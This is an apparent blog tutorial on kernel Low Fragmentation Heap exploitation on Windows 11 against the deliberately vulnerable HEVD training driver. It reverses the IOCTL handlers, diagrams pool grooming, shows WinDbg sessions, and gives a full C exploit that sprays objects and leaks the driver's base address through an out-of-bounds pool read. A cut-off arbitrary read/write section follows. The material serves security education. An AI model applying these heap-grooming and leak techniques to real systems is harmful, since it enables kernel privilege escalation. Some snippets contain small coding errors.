Post

Modern (Kernel) Low Fragmentation Heap Exploitation

Modern (Kernel) Low Fragmentation Heap Exploitation

Good morning! In today’s blog post, we’re going one step further than in the previous post Windows Kernel Pool Internals (which I recommend reading to understand some of the concepts discussed here), and we’re going to achieve arbitrary read/write by leveraging our knowledge of the pool internals.

All of this will be done on the latest version of Windows (Windows 11 24h2). I wanted to use a modern version since I was interested in observing how pool fragmentation behaves today.

The vulnerabilities we’ll use come from HEVD, but not the main branch! Instead we’ll use the win10-klfh branch. Personally I manually copied and compiled it using Visual Studio. I had to make a few changes, such as disabling warnings for the use of ExAllocatePoolWithTag, like this:

1
2
3
...
#pragma warning(disable : 4996)
...

Other than that, I didn’t modify much, just compiled it. This gives us a .sys PE file which I named KlfhHEVD.sys. Then I loaded the symbols in WinDbg with .sympath+ <path to the symbols>. With all that set, we’re ready to begin.

First, we’ll analyze the vulnerabilities we’ll be exploiting. But before jumping in, I have to give credit and thanks to Connor and his blog posts Exploit Development: Swimming In The (Kernel) Pool - Leveraging Pool Vulnerabilities From Low-Integrity Exploits, Part 1 and Part 2. They were incredibly helpful in understanding how to exemplify kLFH exploitation and made perfect use of this HEVD branch to showcase how to achieve arbitrary read/write with deep pool knowledge.

With that said, let’s jump into exploitation.

Memory Disclosure

The first vulnerability we’ll explore is a memory leak. Our goal here is to obtain the base address of the module that performs memory allocations, in this case KlfhHEVD.sys.

Let’s start by reversing the function (with PDB loaded) to understand what it does.

Inside the IOCTL handler, we see:

1
2
3
4
5
6
7
...
          case 0x22204Fu:
            DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******\n");
            FakeObjectNonPagedPoolNxIoctlHandler = MemoryDisclosureNonPagedPoolNxIoctlHandler(Irp, CurrentStackLocation);
            v7 = "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******\n";
            goto LABEL_62;
...

This tells us we can trigger this functionality using IOCTL code 0x22204F. The function it calls is MemoryDisclosureNonPagedPoolNxIoctlHandler, which is essentially a wrapper for the main function:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall MemoryDisclosureNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
  void *UserBuffer; // rcx
  __int64 result; // rax
  size_t Length; // rdx

  UserBuffer = Irp->UserBuffer;
  result = 0xC0000001LL;
  Length = IrpSp->Parameters.Read.Length;
  if ( UserBuffer )
    return TriggerMemoryDisclosureNonPagedPoolNx(UserBuffer, Length);
  return result;
}

It passes the user-mode buffer and its length to TriggerMemoryDisclosureNonPagedPoolNx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall TriggerMemoryDisclosureNonPagedPoolNx(void *UserOutputBuffer, size_t Size)
{
  PVOID PoolWithTag; // rdi

  DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n");
  PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x70u, 1801675080u);
  if ( PoolWithTag )
  {
    DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPoolNx");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 112);
    DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
    memset(PoolWithTag, 65, 0x70u);
    ProbeForWrite(UserOutputBuffer, 0x70u, 1u);
    DbgPrintEx(0x4Du, 3u, "[+] UserOutputBuffer: 0x%p\n", UserOutputBuffer);
    DbgPrintEx(0x4Du, 3u, "[+] UserOutputBuffer Size: 0x%X\n", Size);
    DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", PoolWithTag);
    DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 112);
    DbgPrintEx(0x4Du, 3u, "[+] Triggering Memory Disclosure in NonPagedPoolNx\n");
    memmove(UserOutputBuffer, PoolWithTag, Size);
    DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
    ExFreePoolWithTag(PoolWithTag, 0x6B636148u);
    return 0;
  }
  else
  {
    DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
    return 3221225495LL;
  }
}

What really matters to us is this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall TriggerMemoryDisclosureNonPagedPoolNx(void *UserOutputBuffer, size_t Size)
{
  PVOID PoolWithTag; // rdi

  PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x70u, 'kcaH');
  if ( PoolWithTag )
  {
    memset(PoolWithTag, 'A', 0x70u);
    ProbeForWrite(UserOutputBuffer, 0x70u, 1u);
    memmove(UserOutputBuffer, PoolWithTag, Size);
    ExFreePoolWithTag(PoolWithTag, 'kcaH');
    return 0;
  }
  else
  {
    return 0xC0000017LL;
  }
}

Basically, we allocate a 0x70-byte chunk in the pool, fill the whole buffer with “A”s, and then copy contents from the pool into the user buffer, starting at the allocation address and reading as many bytes as the user buffer allows.

This means we can essentially read the entire pool, including the _POOL_HEADER structures, which look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//0x10 bytes (sizeof)
struct _POOL_HEADER
{
    union
    {
        struct
        {
            USHORT PreviousSize:8;                                          //0x0
            USHORT PoolIndex:8;                                             //0x0
            USHORT BlockSize:8;                                             //0x2
            USHORT PoolType:8;                                              //0x2
        };
        ULONG Ulong1;                                                       //0x0
    };
    ULONG PoolTag;                                                          //0x4
    union
    {
        struct _EPROCESS* ProcessBilled;                                    //0x8
        struct
        {
            USHORT AllocatorBackTraceIndex;                                 //0x8
            USHORT PoolTagHash;                                             //0xa
        };
    };
}; 

This allows us to iterate over same-sized blocks within the LFH and extract the PoolTag, giving us valuable information about who made the allocation.

Allocations are linear, meaning new allocations fill the “best fit” gaps within the kernel pool’s puzzle.

So the strategy is to first fill up all naturally created gaps from normal OS operation. We can do this by allocating many same-sized objects, prepping that LFH region for the allocation we care about.

Let’s walk through an example.

NOTE: this case, blocks are 0x80 bytes (0x70 for data + 0x10 for _POOL_HEADER). The challenge lies in finding objects of the same size, as that’s how LFH works, it groups allocations by object size.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Index:
- FREE -> Free space
- OsHp -> Operating System allocation
- Padd -> Padding controlled by us
- Ctrl -> Allocation controlled by us
- UFal -> Useful allocation that we are going to use
- Expl -> Exploit related allocation

Step 1: Heap with some OS space for KM objects
+--------------------------------------------------+
| [OsHp] [OsHp] [    FREE   ] [OsHp] [OsHp] [FREE] |
| [OsHp] [FREE] [OsHp] [       FREE       ] [OsHp] |
| [OsHp] [           FREE          ] [OsHp] [OsHp] |
| [                     FREE                     ] |
+--------------------------------------------------+

Step 2: Fill the Kernel Heap with our padding
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [                     FREE                     ] |
+--------------------------------------------------+

Padding code could be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...
	HANDLE Events[5000] = { 0 };
...
	for (unsigned int i = 0; i < 5000; i++) {

		Events[i] = CreateEventA(NULL, FALSE, FALSE, NULL); //  -> 0x80 bytes
		if (Events[i] == NULL) {
			printf("\n[%d] ERROR ON \"CreateEventA\" -> %d\n", i, GetLastError());
			for (unsigned int z = 0; z < 5000; z++) {
				if (Events[z] != NULL) {
					CloseHandle(Events[z]);
					Events[z] = NULL;
				}
			}
			return -1;
		}
	}
...
1
2
3
4
5
6
7
8
9
10
11
12
Step 3: Once we have a solid, flat base without bumps we can proceed to the next step which is the allocaton of controlled objects.
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
+--------------------------------------------------+

Controlled objects allocation code could be (the same as before):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...
	HANDLE CtrlEvents[5000] = { 0 };
...
	for (unsigned int i = 0; i < 5000; i++) {

		CtrlEvents[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
		if (CtrlEvents[i] == NULL) {
			printf("\n[%d] ERROR ON \"CreateEventA\" -> %d (Ctrl)\n", i, GetLastError());
			for (unsigned int z = 0; z < 5000; z++) {
				if (CtrlEvents[z] != NULL) {
					CloseHandle(Events[z]);
					CtrlEvents[z] = NULL;
				}
			}
			return -1;
		}
	}
...
1
2
3
4
5
6
7
8
9
10
11
12
Step 4: Now we have holes in the pool, so our next allocations will likely fall into those gaps
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] |
| [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] |
| [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] |
| [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] |
| [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] |
| [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] |
+--------------------------------------------------+

Step 4 code could be:

1
2
3
4
5
6
7
8
9
...
	for (unsigned int i = 0; i < 5000; i++) {

		if (i % 2 == 0) {
			CloseHandle(Events[i]);
			CtrlEvents[i] == NULL;
		}
	}
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Step 5: Spray of a new object that we are gonna use for the exploitation (the object MUST have the same size that the allocatted objects)
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] |
| [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] |
| [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] |
| [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] |
| [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] |
| [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] |
+--------------------------------------------------+

Step 6: Release the remaining objects
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] |
| [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] |
| [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] |
| [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] |
| [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] |
| [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] |
+--------------------------------------------------+

Step 6 code could be:

1
2
3
4
5
6
7
8
9
...
	for (unsigned int i = 0; i < 5000; i++) {

		if (i % 2 != 0) {
			CloseHandle(Events[i]);
			CtrlEvents[i] == NULL;
		}
	}
...
1
2
3
4
5
6
7
8
9
10
11
12
Step 7: Allocate the "Expl" objects on the holes
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] |
| [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] |
| [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] |
| [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] |
| [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] |
| [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] |
+--------------------------------------------------+

To make HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX useful, we need to ensure there’s relevant information to leak. This is where HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX comes in:

1
2
3
4
5
6
7
8
9
...
          case 0x222053u:
            DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
            FakeObjectNonPagedPoolNxIoctlHandler = AllocateUaFObjectNonPagedPoolNxIoctlHandler(
                                                     Irp,
                                                     CurrentStackLocation);
            v7 = "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n";
            goto LABEL_62;
...

The handler AllocateUaFObjectNonPagedPoolNxIoctlHandler:

1
2
3
4
5
// attributes: thunk
__int64 __fastcall AllocateUaFObjectNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
  return AllocateUaFObjectNonPagedPoolNx();
}

AllocateUaFObjectNonPagedPoolNx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall AllocateUaFObjectNonPagedPoolNx()
{
  const void **PoolWithTag; // rdi

  DbgPrintEx(0x4Du, 3u, "[+] Allocating UaF Object\n");
  PoolWithTag = (const void **)ExAllocatePoolWithTag(NonPagedPoolNx, 0x70u, 0x6B636148u);
  if ( PoolWithTag )
  {
    DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPoolNx");
    DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 112);
    DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
    memset(PoolWithTag + 1, 'A', 0x68u);
    *((_BYTE *)PoolWithTag + 0x6F) = 0;
    *PoolWithTag = UaFObjectCallbackNonPagedPoolNx;
    g_UseAfterFreeObjectNonPagedPoolNx = PoolWithTag;
    DbgPrintEx(0x4Du, 3u, "[+] UseAfterFree Object: 0x%p\n", PoolWithTag);
    DbgPrintEx(0x4Du, 3u, "[+] g_UseAfterFreeObjectNonPagedPoolNx: 0x%p\n", g_UseAfterFreeObjectNonPagedPoolNx);
    DbgPrintEx(0x4Du, 3u, "[+] UseAfterFree->Callback: 0x%p\n", *PoolWithTag);
    return 0xC0000001LL;
  }
  else
  {
    DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
    return 3221225495LL;
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall AllocateUaFObjectNonPagedPoolNx()
{
  const void **PoolWithTag; // rdi

  PoolWithTag = (const void **)ExAllocatePoolWithTag(NonPagedPoolNx, 0x70u, 'kcaH');
  if ( PoolWithTag )
  {
    memset(PoolWithTag + 1, 'A', 0x68u);
    *((_BYTE *)PoolWithTag + 0x6F) = 0;
    *PoolWithTag = UaFObjectCallbackNonPagedPoolNx;
    g_UseAfterFreeObjectNonPagedPoolNx = PoolWithTag;
    return 0xC0000001LL;
  }
  else
  {
    return 0xC0000017LL;
  }
}

It simply allocates a 0x70 byte block, fills it with “A”s, sets the last byte to NULL (0x00), and assigns the first 8 bytes to the address of UaFObjectCallbackNonPagedPoolNx:

1
2
3
4
ULONG UaFObjectCallbackNonPagedPoolNx()
{
  return DbgPrintEx(0x4Du, 3u, "[+] UseAfter Free Object Callback NonPagedPoolNx\n");
}

Nothing too fancy, but what matters is that the first few bytes of the allocation hold a valid address, which lets us calculate the base address of the KlfhHEVD.sys module.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
0: kd> bp KlfhHEVD!AllocateUaFObjectNonPagedPoolNx
0: kd> g
Breakpoint 0 hit
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx:
fffff805`52097f10 48895c2408      mov     qword ptr [rsp+8],rbx
0: kd> bp fffff805`52097f53
0: kd> g
Breakpoint 0 hit
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx:
fffff805`52097f10 48895c2408      mov     qword ptr [rsp+8],rbx
1: kd> g
Breakpoint 1 hit
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx+0x43:
fffff805`52097f53 ff15afa0f7ff    call    qword ptr [KlfhHEVD!_imp_ExAllocatePoolWithTag (fffff805`52012008)]
1: kd> p
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx+0x4c:
fffff805`52097f5c 8bd6            mov     edx,esi
1: kd> r
rax=ffffe78d80ecaf10 rbx=00000000c0000001 rcx=ffffe78d80ecaf10
rdx=0000000000000000 rsi=0000000000000003 rdi=ffffe78d80ecaf10
rip=fffff80552097f5c rsp=ffffe50faead7600 rbp=ffffe78d7e06a120
 r8=0000000000000010  r9=ffffe78d80ecaf10 r10=0000000000000001
r11=0000000000000000 r12=0000000000000002 r13=ffffe78d81005530
r14=000000000000004d r15=0000000000000001
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx+0x4c:
fffff805`52097f5c 8bd6            mov     edx,esi
1: kd> db ffffe78d80ecaf10
ffffe78d`80ecaf10  ff ff ff ff 00 10 00 00-a0 00 00 00 01 00 00 00  ................
ffffe78d`80ecaf20  0b 3e 02 00 00 00 02 00-63 20 12 90 00 00 00 00  .>......c ......
ffffe78d`80ecaf30  50 6b e3 65 82 81 ff ff-ff ff ff ff 00 10 00 00  Pk.e............
ffffe78d`80ecaf40  a0 00 00 00 01 00 00 00-d9 6c 02 00 00 00 03 00  .........l......
ffffe78d`80ecaf50  71 9c 12 90 00 00 00 00-90 98 e3 65 82 81 ff ff  q..........e....
ffffe78d`80ecaf60  ff ff ff ff 00 10 00 00-a0 00 00 00 01 00 00 00  ................
ffffe78d`80ecaf70  b2 5e 02 00 00 00 01 00-2f 1e 18 90 00 00 00 00  .^....../.......
ffffe78d`80ecaf80  81 00 08 02 45 76 65 6e-b5 1a 30 f4 00 00 00 00  ....Even..0.....
1: kd> g
Breakpoint 2 hit
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx+0xe5:
fffff805`52097ff5 48893d84b0ffff  mov     qword ptr [KlfhHEVD!g_UseAfterFreeObjectNonPagedPoolNx (fffff805`52093080)],rdi
1: kd> db ffffe78d80ecaf10
ffffe78d`80ecaf10  30 81 09 52 05 f8 ff ff-41 41 41 41 41 41 41 41  0..R....AAAAAAAA
ffffe78d`80ecaf20  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe78d`80ecaf30  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe78d`80ecaf40  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe78d`80ecaf50  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe78d`80ecaf60  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe78d`80ecaf70  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 00  AAAAAAAAAAAAAAA.
ffffe78d`80ecaf80  81 00 08 02 45 76 65 6e-b5 1a 30 f4 00 00 00 00  ....Even..0.....
1: kd> dq ffffe78d80ecaf10 L1
ffffe78d`80ecaf10  fffff805`52098130
1: kd> !pool ffffe78d80ecaf10
Pool page ffffe78d80ecaf10 region is Nonpaged pool
 ffffe78d80eca000 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca080 size:   80 previous size:    0  (Free)       Even
 ffffe78d80eca100 size:   80 previous size:    0  (Free)       Even
 ffffe78d80eca180 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca200 size:   80 previous size:    0  (Free)       Even
 ffffe78d80eca280 size:   80 previous size:    0  (Free)       Even
 ffffe78d80eca300 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca380 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca400 size:   80 previous size:    0  (Free)       Even
 ffffe78d80eca480 size:   80 previous size:    0  (Free)       Even
 ffffe78d80eca500 size:   80 previous size:    0  (Free)       Even
 ffffe78d80eca580 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca600 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca680 size:   80 previous size:    0  (Free)       Even
 ffffe78d80eca700 size:   80 previous size:    0  (Free)       Even
 ffffe78d80eca780 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca800 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca880 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca900 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80eca980 size:   80 previous size:    0  (Free)       Even
 ffffe78d80ecaa00 size:   80 previous size:    0  (Free)       ....
 ffffe78d80ecaa80 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80ecab00 size:   80 previous size:    0  (Allocated)  Even
 ffffe78d80ecab80 size:   80 previous size:    0  (Free)       ....
 ffffe78d80ecac00 size:   80 previous size:    0  (Free)       ....
 ffffe78d80ecac80 size:   80 previous size:    0  (Free)       ....
 ffffe78d80ecad00 size:   80 previous size:    0  (Free)       Even
 ffffe78d80ecad80 size:   80 previous size:    0  (Free)       ....
 ffffe78d80ecae00 size:   80 previous size:    0  (Free)       Even
 ffffe78d80ecae80 size:   80 previous size:    0  (Allocated)  Even
*ffffe78d80ecaf00 size:   80 previous size:    0  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 ffffe78d80ecaf80 size:   80 previous size:    0  (Free)       Even

The address we want is 0xfffff80552098130. Subtracting 0x88130 gives us the module base:

1: kd> ? fffff805`52098130-0x88130
Evaluate expression: -8773242388480 = fffff805`52010000
1: kd> lmDvmKlfhHEVD
Browse full module list
start             end                 module name
fffff805`52010000 fffff805`5209c000   KlfhHEVD   (private pdb symbols)  c:\users\telac\desktop\hevd - samples\klfhhevd\x64\release\KlfhHEVD.pdb
    Loaded symbol image file: KlfhHEVD.sys
    Image path: KlfhHEVD.sys
    Image name: KlfhHEVD.sys
    Browse all global symbols  functions  data  Symbol Reload
    Timestamp:        Sun Jul 20 19:55:24 2025 (687D2D8C)
    CheckSum:         00011867
    ImageSize:        0008C000 
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
    Information from resource tables:

Now is when we need to make use of these two vulnerable functions and combine the exploitation into the following program, which will be responsible for:

  1. Filling the pool with objects to eliminate holes
  2. Allocating gaps to establish the area of influence
  3. Releasing the objects allocated in the previous step intermittently (even indexes)
  4. Allocating the UaF objects that contain the information we’re interested in
  5. Releasing the objects allocated in the previous step intermittently (odd indexes)
  6. Allocating the memory disclosure objects in a way that allows us to read and check whether the object in front has the Hack pooltag, in order to read the first address of the block immediately after the _POOL_HEADER

As seen above, the module base is 0xfffff80552010000 in WinDbg:

Here’s the full source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#include <stdio.h>
#include <windows.h>

int main() {

	BYTE pOutBuffer[1000] = { 0 };
	size_t sOutBuffer = sizeof(pOutBuffer);

	DWORD tag = 0;
	UINT64 addrKrnl = 0;
	ULONG lpBytesReturned = 0;

	bool kernel = false;

	HANDLE Events[5000] = { 0 };
	HANDLE hFile = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, nullptr,
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("\n[!] Error getting the handle to HEVD -> %d\n", GetLastError());
		getchar();
		return -1;
	}

	for (unsigned int i = 0; i < 5000; i++) {

		Events[i] = CreateEventA(NULL, FALSE, FALSE, NULL); //  -> 0x80
		if (Events[i] == NULL) {
			printf("\n[%d] ERROR ON \"CreateEventA\" -> %d\n", i, GetLastError());
			for (unsigned int z = 0; z < 5000; z++) {
				if (Events[z] != NULL) {
					CloseHandle(Events[z]);
					Events[z] = NULL;
				}
			}
			return -1;
		}
	}

	for (unsigned int i = 0; i < 5000; i++) {

		if (i % 2 == 0) {
			CloseHandle(Events[i]);
			Events[i] == NULL;
		}
	}

	for (unsigned int h = 0; h < 2500; h++) {
		if (DeviceIoControl(hFile, 0x222053, nullptr, 0, nullptr, 0, &lpBytesReturned, nullptr)) {
			printf("\n[!] Error calling \"HEVD_IOCTL_ALLOCATE_UAF_NON_PAGED_POOL_NX\"\n");
			getchar();
			for (unsigned int u = 0; u < 5000; u++) {
				if (Events[u] != NULL) {
					CloseHandle(Events[u]);
					Events[u] = NULL;
				}
			}
			return -1;
		}
	}

	for (unsigned int i = 0; i < 5000; i++) {

		if (i % 2 != 0) {
			CloseHandle(Events[i]);
			Events[i] == NULL;
		}
	}

	for (unsigned int j = 0; j < 2000; j++) {

		if (kernel) {
			break;
		}

		if (!DeviceIoControl(hFile, 0x22204F, nullptr, 0, &pOutBuffer, sOutBuffer, &lpBytesReturned, nullptr)) {
			printf("\n[!] Error calling \"HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX\"\n");
			getchar();
			for (unsigned int u = 0; u < 5000; u++) {
				if (Events[u] != NULL) {
					CloseHandle(Events[u]);
					Events[u] = NULL;
				}
			}
			return -1;
		}
		
		memcpy(&tag, (DWORD*)((byte*)pOutBuffer + 0x70 + 4), sizeof(UINT32));
		if (tag == *(DWORD*)"Hack" /*tag == 0x6B636148*/) {
			printf("\nHEVD module found: \"%c%c%c%c\"\n", ((char*)&tag)[0], ((char*)&tag)[1], ((char*)&tag)[2], ((char*)&tag)[3]);
			memcpy(&addrKrnl, (UINT64*)((byte*)pOutBuffer + 0x80), sizeof(UINT64));
			printf("\tKernel Address -> [0x%p]\n", addrKrnl);
			printf("\t\t\\__Module base -> [0x%p]\n", addrKrnl - 0x88130);
			if ((addrKrnl & 0xfffff00000000000) == 0) {
				kernel = true;
			}
			break;
		}
		else {
			printf("\nTAG: \"%c%c%c%c\"\n", ((char*)&tag)[0], ((char*)&tag)[1], ((char*)&tag)[2], ((char*)&tag)[3]);
		}

	}

	for (unsigned int u = 0; u < 5000; u++) {
		if (Events[u] != 0) {
			CloseHandle(Events[u]);
			Events[u] = 0;
		}
	}

	return 0;
}

Arbitrary Read/Write

Next up in our exploitation chain is arbitrary read/write, for which we’ll abuse a controlled pool buffer overflow. We’ll overwrite the next block’s data, including its _POOL_HEADER, to avoid triggering a BSOD from kernel corruption.

But let’s start from the beginning, with the functions we’ll use to allocate, set, and retrieve information in the blocks within the kLFH.

To begin with, we need to keep these two structures in mind:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
{
    PVOID Name;
    SIZE_T Length;
} ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, * PARW_HELPER_OBJECT_NON_PAGED_POOL_NX;

typedef struct _ARW_HELPER_OBJECT_IO
{
    PVOID HelperObjectAddress;
    PVOID Name;
    SIZE_T Length;
} ARW_HELPER_OBJECT_IO, * PARW_HELPER_OBJECT_IO;

